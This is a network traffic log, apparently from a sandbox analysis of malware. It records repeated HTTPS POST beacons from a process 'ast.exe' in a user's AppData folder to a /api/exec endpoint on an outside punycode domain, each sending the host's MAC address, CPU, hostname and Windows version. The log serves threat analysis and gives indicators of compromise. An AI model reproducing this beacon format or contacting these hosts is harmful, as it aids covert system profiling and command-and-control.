2024-11-19 18:15:47 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50093	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:48 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:48 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50096	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:48 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:48 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50099	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:49 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:49 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50102	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:50 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:50 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50105	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:51 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:51 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50108	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:52 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:52 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50111	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:53 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:53 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50117	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:54 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:54 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50120	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:55 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:55 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50123	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:56 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:56 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50126	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:57 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:57 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50129	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:58 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:58 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50132	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:59 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:59 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50141	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:01 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:01 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50144	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:02 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:02 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

